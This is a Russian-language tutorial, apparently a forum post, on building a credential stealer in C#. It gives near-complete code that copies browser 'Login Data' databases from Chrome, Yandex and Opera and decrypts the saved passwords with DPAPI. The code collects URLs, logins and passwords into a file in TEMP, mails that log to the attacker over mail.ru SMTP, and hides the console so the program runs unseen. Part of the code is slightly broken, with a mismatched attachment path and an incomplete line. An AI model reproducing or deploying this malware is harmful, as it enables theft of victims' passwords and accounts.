Stealer паролей на C#

Stealer паролей на C#

overlamer1

Доброго времени суток! Пойдёт речь о том, как написать свой стиллер паролей на C#. Начнем!


Как работает наш стиллер?

  • Сначала стиллер проверяет наличие браузерных папок.
  • Если файл содержащий пароли существует, идёт проверка на их содержание.
  • Если данные не пусты, стиллер добавляет их в текстовой файл.
  • После того, как стиллер закончил проверку, он отправляет данные прямо к нам в руки.

Приступим!

Для начала создаём проект в Visual Studio. Версия фреймворка - 4.5.

22257



Program.cs

Добавим необходимые юзинги:


using System; 

using System.Collections.Generic; 

using System.IO; 

using System.Linq; 

using System.Net; 

using System.Net.Mail; 

using System.Text; 

using System.Threading.Tasks;

22256




Для начала мы создадим папку где будет лежать файл с паролем:

C#:

Directory.CreateDirectory(Path.GetTempPath() + "StealLog");

Папка будет создана в каталоге TEMP.


Создадим переменную paths в которой хранятся пути к файлам Login Data (Файлы Login Data содержат пароли):

C#:

string[] paths = {
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data",
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data",
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data"
};


Теперь создаём переменную pwd_text которая пока что ничему не равна: 


C#:

string pwd_text = "";

Добавим в код следующие, объяснение кода в комментариях: 


C#:

foreach (string p in paths)  //идем по папкам 
           { 
               var pas = Passwords.ReadPass(p); 
               if (File.Exists(p))                  // если файл с паролями существует, то выполняем следующие действия 
               { 
                   pwd_text += "Stealer by: @deepside\r\n\r\n"; 
                   foreach (var item in pas) 
                   { 
                       if ((item.Item2.Length > 0) && (item.Item2.Length > 0))     // если значения логина и пароля не пустые, то заносим их в переменную 
                       { 
                           pwd_text += "URL: " + item.Item1 + "\r\n" + "Login: " + item.Item2 + "\r\n" + "Password: " + item.Item3 + "\r\n"; 
                           pwd_text += " \r\n"; 
                       } 
                   } 
               } 
           }


Делаем проверку, если файл Login Data находится в нашей папке, то удаляем его. 


Код:

if (File.Exists(Path.GetTempPath() + @"StealLog
\Login Data"))
           {
            File.Delete(Path.GetTempPath() + @"StealLog
\Login Data");
           }

Запишем все пароли в .txt файл: 


C#:

File.WriteAllText(Path.GetTempPath() + @"StealLog
\Passwords.txt", pwd_text);
22248



Passwords.cs

Создаём новый класс с именем Passwords.cs.


Добавляем туда этот код, объяснение в комментариях:


C#:

static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath)
       {
           if (File.Exists(Path.GetTempPath() + @"StealLog
\Login Data"))   // Если файл по данному пути существует, то удаляем его
           {
               File.Delete(Path.GetTempPath() + @"StealLog
\Login Data");
           }
           File.Copy(dbPath, Path.GetTempPath() + @"StealLog
\Login Data");     // копируем файл с паролями для того, чтобы не закрывать браузер
           dbPath = Path.GetTempPath() + @"StealLog
\Login Data";
           var connectionString = "Data Source=" + dbPath + ";pooling=false";
           using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
           using (var cmd = conn.CreateCommand())
           {
               cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";
               conn.Open();
               using (var reader = cmd.ExecuteReader())
               {
                   while (reader.Read())
                   {
                       var encryptedData = (byte[])reader[0];
                       var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);  // расшифровка паролей
                       var plainText = Encoding.ASCII.GetString(decodedData);
                       yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText);
                   }
               }
               conn.Close();
           }
       }

Если появились ошибки, исправляем их, добавим ссылку:


Проект - Добавить ссылку. Ищем System.Security

22249




Для работы с Login Data установим библиотеку:


Проект - Управление пакетами Nuget. Ищем в поискe "sqlite" и устанавливаем пакет

22250



Теперь нам нужно отправить файл с паролями. Возвращаемся к Program.cs и добавляем следующий код: 

C#:

SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 587); // Создаём Smpt соединения с почтой mail.tu

Smtp.Credentials = new NetworkCredential("почта@mail.ru", "пароль"); // Меняем на своё, можно создать левую почту.

Smtp.EnableSsl = true;
MailMessage Message = new MailMessage();
Message.From = new MailAddress("почта@mail.ru"); // Кому отправляем
Message.To.Add("почта@mail.ru");
Message.Subject = "Log | @site.ru"; // Заголовок письма
Message.Body = "Stealer by kto-to"; // Текст письма
(new Attachment(Path.GetTempPath() + @"RebornExodus\Passwords.txt")); // Добавляем вложение с логом
Smtp.Send(Message); // Отправляем
22253



Формат лога: 

22254



Лог приходит значит мы на верном пути. Теперь нам нужно кое что исправить. Наверное ты заметил, что при запуске стиллера выводится консоль. Как это исправить?


Заходим в свойства проекта, далее делаем как на скрине:

22255



Выбираем "Приложение Windows". Теперь консоль не открывается и стиллер запускается скрытно.

Report Page